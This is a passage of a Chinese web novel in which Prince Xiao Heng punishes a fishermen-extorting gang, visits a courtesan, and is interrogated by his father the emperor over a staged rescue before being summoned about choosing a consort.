老者弯腰将舱中的鱼逐一捡进一只大木桶,摇头道:“时辰差不多啦。”
“得赶紧送进城去,交到人家手里。再晚些,鱼就不新鲜了,人家该不要了。”
“看来老伯这鱼是早有主顾了。”萧恒笑道,“我还说若您这鱼要卖,我便一并买了呢。”
他本打算将这些鱼连同自己钓的一起送回府里,给上下人等添一顿鱼宴,如今看来是没戏了。
果然,老者面露难色:“公子实在对不住,这鱼得送往城中一家酒楼。”
“那是老汉好不容易谈下的长远买卖,每日打了鱼都往那儿送。要是今日给了您,那边交不了差,怕就怕酒楼老板不满,断了今后的生意。”
“还请公子见谅。”
“无妨,我只是见鱼肥美,顺口一问。”萧恒摆摆手,又笑,“这一桶鱼,应当能卖不少钱吧?”
闻言老者笑笑没有说话。
正在栓船的中年也面露了一丝苦涩之色。
萧恒见状眉头一挑:“怎么老伯这年头这鱼卖不上价?”
老者苦涩的摇了摇头,中年则是默不作声的固定好船只,上前与老者一同将鱼往船下搬。
“周仓帮忙,”萧恒开口道。
“诺,”周仓立即上前。
“不用不用,”老者连忙出声,不过周仓还是上手使了一点劲。
萧恒看着二人道:“老伯、大叔幸苦一天了想必累了吧。”
“青禾拿点吃食过来,”对一名丫环吩咐道。
名叫青禾的丫环,立即端了一碟糕点过来。
“老伯幸苦一天了,吃点垫吧垫吧肚子,”萧恒说道。
老汉欲要开口拒绝,但萧恒已经抬手拿起一块糕点,塞进了老者手中。
“大哥你也吃,这糕点味道不错,”萧恒给中年手中也放了一块。
至于二人洗没洗手,手中是否有鱼腥味。
这年代,老百姓没这么讲究。
第56章:瞬间打脸
“多谢,”中年汉子话不多,接过萧恒递来的糕点低声道了句谢,咬下一口后,眼中顿时一亮。
随后中年怔了怔,像是想起什么重要的事,急忙从怀中掏出一块洗得发白的粗布,小心翼翼地将手中剩下的糕点包好。
“把这块也包上吧,”老者见状,也将自己没吃完的糕点递了过去。
“大哥,你这是?”萧恒面露疑惑。
中年汉子憨厚地笑了笑,粗糙的手指无意识地摩挲着粗布包裹:“我带回去给我家崽尝尝,这么好的东西……他们没吃过。”
“原来如此。”萧恒脸上掠过一丝了然的笑意,转头吩咐:“青禾把我们带来的点心和果子,都给这位大哥包上。”
“这……这怎么行,”中年汉子脸上顿时显出惶恐之色,连连摆手。
“不妨事,不值几个钱,”萧恒语气温和却不容拒绝,“带回去给孩子尝个鲜。”
汉子踌躇着,目光转向老者,似在寻求主意。
“收下吧,”老者倒是洒脱,对着萧恒微微颔首:“公子是心善之人,莫要推辞了,拿回去,让孩子高兴高兴。”
“多谢……多谢公子,”中年汉子声音有些哽咽,连声道谢。
“公子方才说想买鱼,”老者笑着看向萧恒,“这鱼也值不了几个钱,公子若不嫌弃,便拿去吧。”
萧恒微微一愣:“老伯,这鱼若是给了我,您如何向供应的那家酒楼交代?那是长久的营生,为这几块点心,不值得。”
“唉,”老者脸上浮起一抹苦涩,摇了摇头:“无妨,公子只管拿去,这生意……老汉我也不想再做下去了,辛苦一年,风里来雨里去,最后落到自己手里的,竟没几个子儿。”
“老伯何出此言?”萧恒神色认真起来:“若不介意,可否详细说说?”
老者像是找到了倾诉的出口,叹了口气,将其中艰辛缓缓道来。
原来,这河中捕鱼并非随意可为,皆由一个称作鱼帮的势力管辖。
所有以此谋生的渔民,每月都须向其缴纳份钱。
若有违抗或缴纳不足,轻则遭一顿毒打,重则被禁止再下河捕鱼,断了生路。
不仅如此,为了维持与城中酒楼的长期交易,他们每次交货结账后,还不得不拿出收入的三成,作为返点交给酒楼里负责采购的管事。
如此层层盘剥下来,一年到头,扣除给鱼帮的月钱,再刨去那三成回扣,真正能攒下的利润,微乎其微。
尤其近日,鱼帮更是传出要加收每月的份子钱的消息。
原本就已压得人喘不过气的份子钱若再增加,便是彻底无利可图,甚至要赔本赚吆喝了。
说到此处,老者满面愁容,眼中尽是疲惫与无奈。
他已是心力交瘁,萌生了彻底放弃这捕鱼营生的念头了。
所以才会让萧恒将今日的鱼获拿走,反正也不想做这营生了。
对于返点三成的事,萧恒没啥态度,这是你自愿的,属于周瑜打黄盖,一个愿打一个愿挨。
但鱼帮二字,就让萧恒眉头皱了皱。
前段时间,因青龙帮的事,太子不是趁机对整个京都及周边的各种帮派进行了一次清洗吗。
此时又冒了一个鱼帮出来,什么意思,太子的清洗没有清洗到鱼帮?
萧恒皱眉:“此事官府不管?”
老者叹息一声:“早些年有人不愿给鱼帮交钱,报过官府,但最后官府的人没等来,反倒是鱼帮的人先找上门来了。”
“二话不说就给人打了一个半死,还威胁说再敢报官,就不是这个下场了。”
“而是直接沉河。”
“这谁还敢报官啊。”
萧恒沉思了片刻,对老者道:“老伯这鱼你先拿去卖了。”
“鱼帮的事,自有官府会处理,你要相信朝廷,日子会好起来的。”
老者看了萧恒一眼:“那就借公子吉言了。”
“爹……爹……爷爷出事了,鱼帮的人上门要钱来了。”
老者与中年刚想告别萧恒,抬着鱼获去城中售卖。
忽然远处一名身材干瘦,年纪约莫十来岁的男子神色惊慌的跑了过来,小孩边跑边大声喊叫。
“是三娃,”听到声音,中年抬起头来看了一眼,皱眉
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说道。
“三娃说啥?”老者问了一句。
小孩还在朝这边边跑边喊。
“爹……爷出事了,鱼帮人上门要钱来了。”
“坏了,三娃说,是鱼帮的人上门要钱来了,”中年这才听清,面色大急。
“怎么回事?”老者面色难看:“这个月的月钱,我才给了没几天啊,怎么又上门来要钱了。”
此时相比二人焦急的面庞,萧恒的面色更黑。
自己刚刚才说要相信朝廷,结果下一秒打脸就来了。
“爹……爷快回去,鱼帮的人来,”小孩累得够呛,气喘吁吁的。
“快走,”二人拉着小孩,就朝家里面冲去。
连身后的渔船,鱼获都顾不上了。
“跟上去看看,”萧恒冷着脸。
路程并不远,也就二里地。
一处只有十来户的小村便映入眼前了。
进村的路,只有一条小路,马车进不来,留了一名护卫及丫环在官道上看着马车。
萧恒则带着剩下的人骑马进了村子。
“公子那便是老汉家,”路不好走,骑马并不快,老汉给萧恒指了一处房屋,开口道。
“嗯,”萧恒颔首,策马朝老汉所指的房屋走去。
房屋是土坯修建起来的,房顶采用茅草编制的屋顶,四周是一圈栅栏围起来的院子。
这会数个身穿粗布麻衣的青年站在院子中,因为离得远,并没有听清对方在说什么。
两名妇人站在青年对面,脸上全是哀求,妇人后面站着俩年幼的小孩,静静抱着妇人的腿。
远处还有不少村民注视这边,但却无人过来帮忙,都站的远远的。
“驾……!”
萧恒一行人骑马进村,想要不吸引他人的目光都不行,瞬间不少村民就注意到了萧恒一行人。
此刻站在院子里面鱼帮的几名成员也不例外。
“那不是周老头和他儿子吗?”其中一人注意到了队伍前方的老者以及中年。
这群人都骑着高头大马,还带了武器,难不成是官府的人?
几人对视一眼,急忙走出了院子。
第57章 惩恶
鱼帮的几名成员远远看见萧恒一行人衣饰华贵、气度不凡,心知来了大人物,忙不迭地迎上前来。
“吁——”
萧恒轻扯缰绳,战马嘶鸣一声,稳稳停在了院门外。
马蹄扬起的尘土尚未落定,他端坐马背之上,玄色披风在微风中轻扬,周身散发着不怒自威的气势。
“敢问诸位……”鱼帮为首那人刚要开口。
“啪!”
一道鞭影便破空而出,带着凌厉的风声,结结实实地抽在那人脸上。
萧恒眼神冷冽,甚至懒得与这些地痞多费唇舌。
“啊!”猝不及防的鱼帮成员惨叫一声,整个人被这一鞭的力道带得踉跄倒地,脸上顿时浮现出一道血痕。
今日前来收取保护费的鱼帮共有五人,见同伴被打,剩余四人脸色骤变,竟是毫不犹豫地将手中棍棒扔在地上,扑通一声齐刷刷跪倒在地。
“大人饶命!”
四人双手抱头,动作熟练得令人心惊,显然不是第一次做这般求饶的架势。
萧恒眉峰微挑,这倒出乎他的意料,按说这些地头蛇不该先虚张声势,搬出背后靠山来试探么?
竟这般干脆利落地跪了?
“你们是鱼帮的人?”萧恒的声音冷若寒冰。
“回大人,小的们确实是鱼帮的,但只是跑腿的,从来没干过伤天害理的事啊!”
一人急忙辩解,声音发颤,“我们对百姓向来都是客客气气的……”
“你撒谎!”一道稚嫩的童声突然从妇人身后传来,正是方才那个孩子。
“你刚才还说,要不给钱,就放火烧了我家的房子!”
那鱼帮成员顿时目露凶光,狠狠瞪向孩子。
“找死!”萧恒身后,护卫铁牛见状顿时勃然大怒,翻身下马,大步上前一脚将那人踹翻在地,随即揪着衣领将其提起来,照着脸就是几个响亮的耳光。
“殿下亲临,你还敢威胁百姓?谁给你的狗胆!”
铁牛声如洪钟,又是一拳重重砸在对方面门上。
“啊——大人饶命!小的知错了!知错了!”那人捂着眼睛在地上翻滚哀嚎,鲜血从指缝间渗出。
“知错?你是知道自己要**!”
铁牛又补上一脚,这才转身对其余几人厉声道,“都给我老实点。”
“老子问什么回答什么,若是敢耍花招,老子不建议现在就送你去见你们太爷。”
经过一番审问,铁牛提着一个沉甸甸的褡裢回到萧恒马前,面色凝重:“殿下,这鱼帮心黑得很。”
“原本每月收渔民三百文,这个月开始竟涨到六百文。”
“照这么收,渔民辛苦一年怕是连饭都吃不上,若遇上鱼获不好的时节,怕是连棺材本都要赔进去。”
大梁鱼价低廉,寻常河鱼每斤不过三至十文。
在内河打渔为生的百姓,原本就仅够维持温饱,经此盘剥,恐怕真要家破人亡。
萧恒眼中寒光一闪,冷声道:“连人带赃物,全部押送京都府衙。”
“告诉府尹汪兴怀,若再让本王在京城见到任何帮派欺压百姓、强收钱财,他这府尹就不用当了。”
“本王自会亲自上奏御前,另选贤能。”
“诺!”周仓抱拳领命,朝铁牛使了个眼色。
铁牛立即带人将鱼帮成员双手反绑,绳索另一端系在马鞍上。
萧恒策马来到老渔夫面前,语气缓和下来:“老伯,这些钱文须作为证物送至府衙。”
“但还请您放心,最多三日,官府定会派人将鱼帮勒索的钱财如数送还。”
“从今往后,您尽管安心打渔,不会再有人来收取保护费了。”
不待老者回应,萧恒轻夹马腹,一行人已绝尘而去。
一名护卫临行前还不忘回头提醒:“老伯,您今日的鱼获还留在河边呢,可别忘了收拾!”
返回京城后,萧恒径直回府。
铁牛则押着鱼帮成员前往京都府衙。
铁牛带人来到京都府衙时,府尹汪兴怀正在亲自坐堂审理案子。
铁牛出示腰牌后,府衙前当值的衙役,不敢有丝毫耽搁,小跑进了堂中。
不一会
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工夫,京都府衙汪兴怀便匆匆走了出来。
“铁大人亲临本府,可是殿下有何吩咐,”宰相门前七品官,堂堂一正三品官员,面对一王府护卫,竟然异常自然的称呼自己为下官。
“府尹大人,可不敢这么称呼在下啊,我就一小小的护卫罢了,”铁牛摆手出声,面容却显然也是一副**以为常的表情。
“先去后堂吧,”铁牛说道:“殿下确实有交待,但此地人多眼杂。”
“铁大人请,”汪兴怀抬手引路,朝后院走去。
路上回头看了一眼绑着的鱼帮成员,开口道:“这些人是?”
铁牛面色凝重道:“一个叫鱼帮的成员,今日去收取渔民份子钱,被殿下撞见了。”
“此事严重损坏了朝廷在百姓心中的形象,对此殿下很是生气,特意嘱咐我转告大人,此事必须严惩。”
“殿下不希望日后还能再这京都的地界上,遇到什么帮派之类的成员。”
“殿下的脾气,想必府尹大人是知道的,此事还望府尹大人放在心上,好生处理。”
汪兴怀面色肃然:“还请铁大人转告殿下,此事下官定会亲自督办,给殿下一个满意的交代。”
“嗯,”铁牛颔首:“那行这些人就交给府尹大人你了。”
“哦,对了,”铁牛再度开口:“此番殿下特意交待,鱼帮的事,不是特例。”
“前段时间太子虽下令肃清各处帮派,但那些帮派成员除了个别存在,大部分的人,都只是到大牢当中,罚了一点钱,逛了一圈便又被放出去了。”
“针对此事,殿下很是不满,认为这样起不了任何惩戒的作用,”
“所以殿下此番特意交代,对于那些品行不端的存在,这次就不要在随便关押几日就将其放回去了。”
“一律送到城外劳动改造去。”
“殿下说的在理,”汪兴怀一脸愤愤不平的说道:“确实该给这群一人一点教训了,不然老是接二连三的犯事,确实可恶。”
“京都治安,都让这群人给拉下来了。”
第58章:奢靡生活
夜色如墨,京都街巷却躁动不安。
火把在狭窄巷道里明灭不定,将追赶者的影子撕扯得忽长忽短。
脚步声、呵斥声、犬吠声——所有声响绞成一股,撕碎了夜的寂静。
由京都府衙牵头的又一轮帮派清洗,正在展开。
“他大爷的,那群当官的……安的什么心?”
黑暗中,一个满脸横肉的汉子压低身子,蜷在杂物堆里狠狠啐了一口。
“前脚刚收了老子近千两银子,说好的既往不咎……后脚就又来抓人!”声音压得极低,但语气却明显异常气愤。
旁边一个瘦子紧张地探出头去,嗓音发颤:“老大,小声点……官靴声近了。”
“这群***黑得很,一旦进去,少了银子根本出不来!”
闻言汉子不但没收敛,反而因愤怒和**咬紧了牙关:“真当老子是窑姐儿?招之即来挥之即去?耍猴呢?”
“交了钱,磕了头,说好的事,转头就翻脸……这朝廷的嘴脸,比咱们还要下作!”
“呸。”
他一口唾沫还没落地,远处陡然响起一声厉喝:“那边有动静——搜!”
几条黑影如猎犬扑食,径直冲向他们藏身之处。
两人如惊弓之鸟,弓着腰沿湿滑墙根向后急窜。
汉子一边没命地逃,一边回头嘶吼,声音里混着被戏耍的暴怒和一丝难以掩饰的惊惶:“一群***玩意……别让老子逮到机会……否则……”
“汪——!”
狠话未毕,犬吠骤起。
数条猎犬龇着牙扑近,身后几十步外,是一队持火执刃的衙役。
“你大——汪!啊……松口!给老子松口!”
汉子怒骂转瞬变成惨叫。
犬齿入肉,凄厉的嚎叫声瞬间撕裂了整个巷道。
而这,不过是今夜京都的一角。
今夜的京都注定又是一个不眠之夜,到处都是,咒骂,训斥,逃窜,追捕的画面。
而作为这一切风波背后的推手,此刻却正慵懒地倚在教坊司的雅间里,听着轻柔的小曲。
城中今夜种种动荡,仿佛都与他毫无关系。
烛光摇曳下,苏婉一身水绿长裙,纤指如蝶,轻抚琴弦。
缕缕清音自她指下流淌而出,缠绵而动听。
萧恒安然坐在苏婉对岸,一桌精致酒菜陈列其间,酒香淡淡,衬得着萧恒眉眼愈发慵懒。
品酒、赏人、听曲。
这般日子,你说惬意不惬意?
萧恒嘴角含笑,目光直勾勾的盯着苏婉的身影,又悠然饮尽一杯。
至于悦耳的琴声,到底听进去了多少,就不得而知了。
“铮——”
最后一个音符轻轻落下,苏婉双手按弦,余音渐歇。
苏婉起身微微一礼,声音柔得像春水:“今夜这一曲
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,公子可还喜欢?”
萧恒却不答,只朝苏婉招了招手。
苏婉缓步走近,才到萧恒身边,就被萧恒一把揽进怀中。
萧恒执起一杯酒,轻笑一声:
“赏你的。”
“谢公子。”苏婉倚在萧恒怀中咯咯轻笑,接过酒杯一饮而尽。
“曲听了,酒喝了,”萧恒将酒杯搁下,嘴角扬起一抹深意:“也该办正事了。”
说罢,一把将苏婉整个人横抱起来。
“公子总是这么急……”苏婉声音愈软,面泛红霞,整张脸埋进萧恒衣襟之间,似羞似怯。
“时间紧,任务重啊。”
萧恒低笑一声,抱着苏婉大步走向绣榻。
不过片刻,房中已是细喘微微,春意盎然。
这些日子以来,萧恒早成了教坊司的常客。
虽非夜夜留连,却也来得极勤。
萧恒本就不是什么坐怀不乱的君子,面对苏婉这等教坊司头牌,更难自持。
几日试探下来,见宫中梁帝并未找自己谈话,萧恒索性放开手脚,不再约束自己。
而这一放开,便如同脱缰之马,再也收不回来了。
苏婉虽是清倌人出身,可该学的技艺却一样不落。
面对如此佳人,萧恒终于体会到何为不爱江山爱美人,何为春宵苦短日高起。
若换作是他,恐怕也难舍这温柔之乡。
……
第59章:本月第二次,可今日才初二
“你说老九现在在哪?”紫宸殿内,梁帝从奏折中抬起头,眉峰微蹙,指尖的朱笔悬在半空。
垂手立在殿中的黑衣男子躬身更低:“教坊司。”
“砰”的一声,梁帝将朱笔重重掷在御案上,震得砚台里的墨汁都溅出了几点乌黑。
“今日京都因他一句话,闹得鸡飞狗跳,数万人不得安眠,他倒好——”
梁帝冷笑一声,声音从牙缝里挤出来:“依旧像个没事人似的,又窝进那胭脂窟里,躺进风尘女子的怀中。”
“他倒是会享福。”
“这逆子本月第几次去了?”梁帝压着怒意问,手指无意识地敲击御座扶手。
“回陛下,今夜是齐王殿下本月第二次前往教坊司。”
黑衣男子躬身回答。
“才两次?”梁帝语气稍缓,紧蹙的眉峰舒展些许:“比起上个月,这月倒还算收敛。”
侍立在侧的黄公公适时上前半步,声音轻得像一片羽毛落地:“陛下,今日是七月初二,今日是这月的第二日。”
梁帝表情蓦地一僵,敲击御座的手指悬在了半空。
“上个月……他去了多少次?”梁帝几乎咬碎后牙,每个字都裹着冰碴。
“十六次。”
“十六次?”梁帝猛地抬头,眼底怒意翻涌如乌云压城。
黑衣人见状吞咽了一下口中吐沫,小心回答道:“齐王殿下起初只是偶尔前去,多在花魁苏婉房中听曲赏舞。”
“但自上月十四夜……殿下多饮了一杯,便在苏婉的服侍下小歇了片刻,自那以后便去得频繁了些。”
梁帝额角青筋隐现:“之后每次去……他都办事了?”
黑衣抬头看了一眼梁帝,继续说道:“殿下每次皆会小憩片刻,但从不留宿,至多一个时辰便离去。”
“怎么你还希望他留宿教坊司?”
梁帝怒极,掌心重重拍在案上,震得奏折散落一地。
片刻,又强压火气,从牙缝里挤出问话:“可曾善后?”
“陛下放心,每次齐王离去,属下都会亲自煎药,亲眼看着苏婉服下,并守候半个时辰,确认药效发作方才离开。”
梁帝闻言神色稍缓:“嗯。”
挥了挥手示意其退下,仿佛拂去一粒尘埃。
“诺,”黑衣男子低声应答,退出了大殿。<
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br>殿中重归寂静,唯有烛火噼啪轻响。
梁帝以指节轻叩御案,目光深远,喜怒难辨。
侍立在后的黄公公犹豫片刻,轻声道:“陛下可是忧心齐王殿下流连教坊司之事?”
梁帝揉了揉眉心,“黄幸,你说这小子终日沉湎风月,究竟意欲何为?”
黄幸微微躬身,恭谨应答:“齐王殿下年轻气盛,血气方刚,也是常情。”
“依奴婢愚见,殿下频赴教坊,究其根本,还是因陛下与娘娘国事劳碌,尚未为殿下择定王妃。”
黄幸稍顿,又道:“殿下年幼出宫开府,心思纯直,易被风月场所迷眩。”
“若早日迎娶王妃,有了家室之约,殿下自然收心,不再流连于那烟花之地。”
梁帝挑眉,“你这一说,朕倒想起来,老九出宫建府已有半年,确是到了该纳妃的年纪。”
“此事是朕疏忽了。”
“陛下日理万机,此类家事疏忽也是常情。”
黄幸温声接话,恰到好处地递上一个台阶。
“摆驾锦乐宫。”
梁帝拂衣起身,袖袍带起一阵风,直往皇后寝宫而去。
第60章 御前惊心
紫宸殿内烛火摇曳,梁帝**御案之上,手中拿着一封折子,正在批阅。
萧恒进入其中,立即躬身行礼,脸上堆着憨厚的笑:“父皇这么晚了,您老还没休……”
“咻——”
萧恒还未说完,一道破空声便打断了萧恒的问安。
奏折挟着劲风直扑面门。
萧恒几乎是本能地矮身一蹲,飞来的奏折擦着萧恒的发冠飞过。
“啪”地一声落在身后不远处,纸页纷飞。
完了!这该死的本能反应!
萧恒偷眼瞥见梁帝铁青的面色,心中猛地一沉。
忙不迭拾起散落的奏折,双手捧回御案,脸上堆起讨好的笑:“父皇您消消气,气大伤身。”
“龙体要紧,若因儿臣气坏了身子,儿臣万死难辞其咎。”
“好大的胆子,竟敢躲?”
梁帝的声音像是从牙缝里挤出来的,带着难以置信的怒意。
自己训斥臣子多年,莫说是一本奏折,便是刀锋挥砍过去,也无人敢闪躲半分。
今日竟然又被这逆子给躲闪了过去。
“父皇息怒。”
萧恒不动声色地后退两步,与御案保持安全距离,一脸诚恳道:“打在儿身,痛在父心,儿臣实是不忍父皇为儿臣伤心,岂能行此不孝之举?”
梁帝表情明显怔了一瞬,随即怒火更盛:“少在这里自作多情,朕现在恨不得一脚踹死你个逆子。”
话音未落,又一本奏折砸来,这次梁帝的声音森冷:“再敢躲试试?”
萧恒硬生生站在原地,任奏结结实实砸在胸口。
纸张锋利的边缘划过手背,留下一道浅淡的红痕。
刚才那一下纯属本能反应,此刻再借萧恒十个胆,也断不敢再触怒天威。
“算你识相。”
梁帝冷哼一声,目光如刀刮过萧恒的脸,“你还记不记得自己的身份?”
“儿臣自然记得,”萧恒装傻充愣:“是父皇的儿子啊。”
“砰!”梁帝一掌拍在御案上,震得笔架乱颤:“少给朕装糊涂,你还知不知道自己贵为皇子。”
“知道知道,”萧恒脑袋跟小鸡啄米似的,疯狂点头,不敢有半分犹豫。
“那你却终日流连勾栏瓦舍,痴迷风尘女子,皇家的脸面都让你丢尽了。”
梁帝怒骂出声。
原本梁帝已准备摆驾锦乐宫,与皇后商议萧恒的婚事。
可一想到这个儿子近来的行径越发荒唐,终究压不住火气,特意折返紫宸殿,命人传唤萧恒,决意好生敲打一番。
“儿臣冤枉啊!”萧恒叫起屈来,表情无辜至极:“儿臣虽常去教坊司,可每次都是化名李刑,从未以真身份示人,既无人知晓儿臣身份,又如何谈得上败坏皇家声名?”
“砰!”又是一掌击案,梁帝怒极反笑:“好个强词夺理!身为天家子弟,痴迷风尘女子本身就是罪过,重点是你隐没隐藏身份吗?”
萧恒浑身一哆嗦,硬着头皮装傻道:“不然呢?”
此刻萧恒这副油盐不进的模样,反倒让梁帝气笑了。
皇帝眯起眼睛,深邃的目光在萧恒脸上停留良久,忽然冷笑一声。
“怎么,打算换人设了?这是准备跟朕玩起聊斋来了?”
萧恒闻言脸色骤变,血色瞬间褪尽。
“扑通”一声。
直挺挺跪倒在地,额头重重磕在金砖上,冷汗顷刻湿透了里衣,冰凉地贴在脊背上。
“儿臣不敢,”萧恒声音里满是恐慌。
“全都退下,”梁帝目光冷冷的落在萧恒的后背上,声音冰冷。
殿内顿时响起了细碎的脚步声,太监宫女悄无声息地鱼贯而出。
沉重的殿门合拢,偌大的紫宸殿只剩下父子二人。
萧恒保持着头触地的姿势,连呼吸都放轻了。
眼前忽然出现一双明黄缎面的软底靴。
梁帝不知何时已走到他面前,冰冷的声音自头顶落下:“抬头。”
“诺。”
萧恒艰难地抬起脖颈,对上梁帝深不见底的眼眸。
“你觉得太子如何?”梁帝缓缓蹲下身,一只手看似随意地搭在萧恒后肩上,却如千斤重压。
萧恒身子一颤,恭声回答:“太子仁德爱民,勤政贤明,实乃历朝历代罕有的贤德储君。”
“哟,换说辞了?”梁帝嘴角勾起讥讽的弧度:“你
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从前可不是这么说的啊。”
“怎么,被鬼上身了?变得朕都快认不出了,要不要朕请几个法师来给你驱驱邪?”
“此乃儿臣肺腑之言,句句属实,请父皇明鉴。”
“是吗?”梁帝轻哼一声,站起身。
“看来是真要换人设了啊。”
梁帝踱回御案前,撩袍坐在了台阶上,斜倚在台阶上,目光平静却迫人。
“你兄弟几个中,以往就属你往日对太子最为不满,上蹿下跳得最欢,怎么近来反倒安分了?”
“让人看着陌生啊,”梁帝语重心长道。
萧恒这段时日的所作所为,梁帝了如指掌。
无非是逛逛教坊司,成立了个商号,筹备马球赛事。
既不找太子麻烦,也不来御前刷存在感,更不见他四处散播太子的不是。
这般安分守己,在梁帝眼中反倒成了异常。
萧恒喉结滚动,咽了口唾沫:“儿臣往日年少无知,易受小人蛊惑,做了不少糊涂事。”
“如今幡然醒悟,深知与太子相比,犹如萤火之于皓月,萤火之光安敢与皓月争辉?”
“儿臣现已绝了那些不该有的心思,只求安稳度日。”
梁帝面色不变:“果真如此?莫不是因为某些事……怕了?想暂避风头,待事过境迁再图后计?”
梁帝语气平淡,可萧恒却敏锐地捕捉到其中一丝凛冽的杀机。
帝王之心,深不可测,此刻竟真对自己动了杀念?
萧恒内心惊涛骇浪,几乎要跪不稳当。
心中惶恐不已,难道太子野狼谷**一事,梁帝已经知晓了前因后果?
“儿、儿臣听不懂父皇的意思……”只要梁帝不挑明,自己就绝不能认。
“听不懂?那朕帮你回忆回忆。”梁帝似笑非笑,指尖轻巧地面。
“两个月前,齐王殿下救驾可是英勇得很啊。”
救驾二字,梁帝咬得及重。
“轰——!”
仿佛惊雷在脑海中炸开,萧恒只觉得瞬间天旋地转,眼前发黑,耳中嗡鸣不止。
完了。
这是彻底完了。
脑海中除了完了二字,其余一片空白。
第61章:吓得不轻
“谢、谢父皇夸奖……此、此事乃是儿臣分内之事。”
萧恒全身都在控制不住地轻颤,额角渗出细密的汗珠,连声音都带着不易察觉的抖动。
“嗯。此案由影刃司、大理寺、刑部三司共同审理,如今已基本清晰,系青州贺家不满朝廷,暗中勾结青莲教所为,朕已下旨,就此结案。”
青莲教,一个民间组织,时长活跃于大梁边疆地带。
蛊惑大梁百姓,做一下违法乱纪之事。
朝廷对这个组织一向厌恶。
曾多次派兵围剿,但始终是百足之虫死而不僵。
“你此番救驾有功,做得不错。”
梁帝静静注视着匍匐在地的萧恒,沉默良久,嘴角忽然弯起一丝若有似无的弧度,半晌,才缓缓开口。
语气中尽是若有深意的调侃。
“结……结案了?”萧恒抬起头,语气迟疑,几乎是在自言自语。
“怎么?”梁帝表情淡然:“你认为此案尚有疑点,不应结案,还应继续查下去?”
“没有、没有,”萧恒连忙应声,语速快得几乎打结:“儿臣愚钝,哪里懂得查案?父皇既认为可结,自然便是结了。”
“老九。”梁帝忽然唤道。
“啊……儿臣在!”萧恒心神不宁,几乎是本能地应答。
梁帝稍稍直起身,目光落在萧恒汗湿的额头上:“你似乎……很热?”
“多、多谢父皇关怀,是有些热……”萧恒强自镇定,抬起头,努力让表情恢复如常。
“拿去,擦擦。”梁帝起身,递来一方明黄绢帕,像是随口一提:“流这么多汗,身子虚成这样?这殿里……真有如此热么?”
“你这体质太过孱弱,日后须好生锻炼,别再做那些……无益之事了。”
“明白否?”
梁帝略有深意的开口嘱咐道。
“诺……儿臣,谨遵父皇教诲,”萧恒低声回应,一脸恭顺。
“起来罢,总跪着像什么话,”梁帝已坐回御座,语气平淡。
“诺。”萧恒起身,抬头望向梁帝,勉强挤出一丝笑容。
宽大的**袍下,是仍在止不住发抖的双腿。
“朕听说,你欲办一场规模不小的马球比赛?详细与朕说说。”
……
约莫半个时辰后,萧恒才退出紫宸殿。
后半场的对话,梁帝虽面色温和,但萧恒却依旧感觉自己如履薄冰,仿佛行走于万丈悬崖边缘,稍有不慎便会坠入深渊,摔得粉身碎骨。
梁帝挥手命萧恒退下时,萧恒几乎如生锈的机器一般,动作僵硬地转身,一步步迈出殿门。
“殿下……殿下?”直到耳边传来三福一声声低唤,萧恒才倏然回神。
“嗯……”他轻哼一声,嗓音沙哑。
“您这是怎么了?”三福赶忙上前搀住萧恒的手臂,神色紧张。
说话间,三福眼角悄悄瞥向紫宸殿方向,脑中飞速回溯近日诸事。
最终仍是困惑——殿下近来安分守己,并未行差踏错。
唯一略出格的,也不过是教坊司那桩小事,何至于惊惧至此?
“无事,”夜风阵阵拂面,萧恒心头的惊惶逐渐被暖风抚平。
摆了摆手,朝宫外行去。
……可恶,腿还是软的。
萧恒在心中暗骂。
果然君心难测,纵是亲生之父,欲要敲打自己,也不过如同戏弄掌中之物。
回到府中,萧恒连沐浴都省了。
侍从替萧恒褪去外袍,萧恒便直接倒进床榻,沉沉睡去。
这一夜的经历,竟比萧恒前世白天上课、晚上兼职、连续熬夜一个月还要疲惫。
几乎是头刚沾枕,人就失去了意识。
三福轻手轻脚上前,为萧恒掖好被角,示意众人悄声退下。
萧恒这一觉,直接睡到次日晌午才醒。
醒来时只觉得浑身酸痛,犹如被人狠狠揍过一顿。
……娘的,不是魔法攻击吗?怎么还附带物理伤害了?
萧恒迷迷糊糊地骂了一句,翻身倒头,又睡了过去。
接下来数日,萧恒安分得离谱,活像被老爷子禁了足。
终日待在府中,大门不出,二门不迈。
当然倒也并非完全闲着,偶尔调戏院中婢女,或命人将躺椅搬到院里晒太阳。
钱文赋送来马球赛事需用的吉祥物及其他周
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边样品时,萧恒便与人聊上几句。
其余诸事,一概不提。
就连“教坊司”三字,近几日萧恒也是绝口不再谈起。
活脱脱一副老干部退休后的慢节奏生活。
“嗯,这款式不错,质地也行。”
“不过上面纹样还得调一调,再改改。”
王府庭园中,萧恒手持一件坎肩,正与钱文赋交谈。
“是。”
钱文赋应声,又取出几样物事,皆是按萧恒所绘图样制成的周边产物。
“咦?这小玩意儿有意思。”
萧恒一眼看中其中一只马形布偶——造型蠢萌却不失神韵,憨态可掬。
“王爷,这个好看!”婢女青禾的目光也随之落在那布偶上。
“好看?”萧恒将它拿起,转向身后的青禾与另一名婢女清砚:“清砚你觉得呢?”
二女并非普通丫鬟,皆是自幼长于皇后身边,识文断字,通晓琴棋,原是按女官标准培养的贴身人。
萧恒开府后,皇后不放心,便将她们派来萧恒身边照料。
因而二人不仅容貌清丽,举止亦端庄得体。
“是好看的,”清砚乖巧点头。
钱文赋连忙接话:“回殿下,这款布偶……呃,吉祥物,全按您的意思制作,用料都是上乘——外以绸缎缝制,内填棉花。”
绸缎与棉花,在当世皆非寻常百姓可用,确属贵重。
“嗯,样式讨喜,”萧恒捏了捏娃娃,手感柔软,点头道:“这个可以,就按这个款,做不同尺寸,分批量产。”
“是,属下这就去办,”钱文赋躬身领命。
“殿下,宫中有讯传到。”
这时一名内侍小步趋前禀报:“娘娘传您入宫。”
“母后召见?”萧恒眉梢微挑,“可知何事?”
“来人未说,只说是娘娘吩咐。”
“行,知道了,告诉他,本王稍后便入宫向母后请安。”
“诺。”
内侍应声退下。
“殿下既需入宫,属下便先行告退。”
钱文赋将样品一一收好,开口说道。
“去罢,交代你的事,抓紧办。”
“诺。”
第62章:择妃
“儿臣参见母后。”
锦乐宫的花园凉亭中,皇后与长公主正言笑晏晏。
春风拂过,亭外的海棠花瓣轻轻落在石桌上,又被微风卷起。
萧恒上前恭敬地向皇后行礼,衣袂随风轻动。
“皇姐,”萧恒又向长公主行了一礼,举止从容得体。
长公主含笑点头,眼波流转:“可算来了。”
长公主今日穿着淡紫宫装,发间一支玉簪在阳光下泛着温润的光泽。
萧恒自然地走到二人身旁,对长公主笑道:“几日不见,皇姐愈发容光焕发了。”
长公主佯装不悦,轻嗔道:“这话说的,莫非从前就不够好看?”
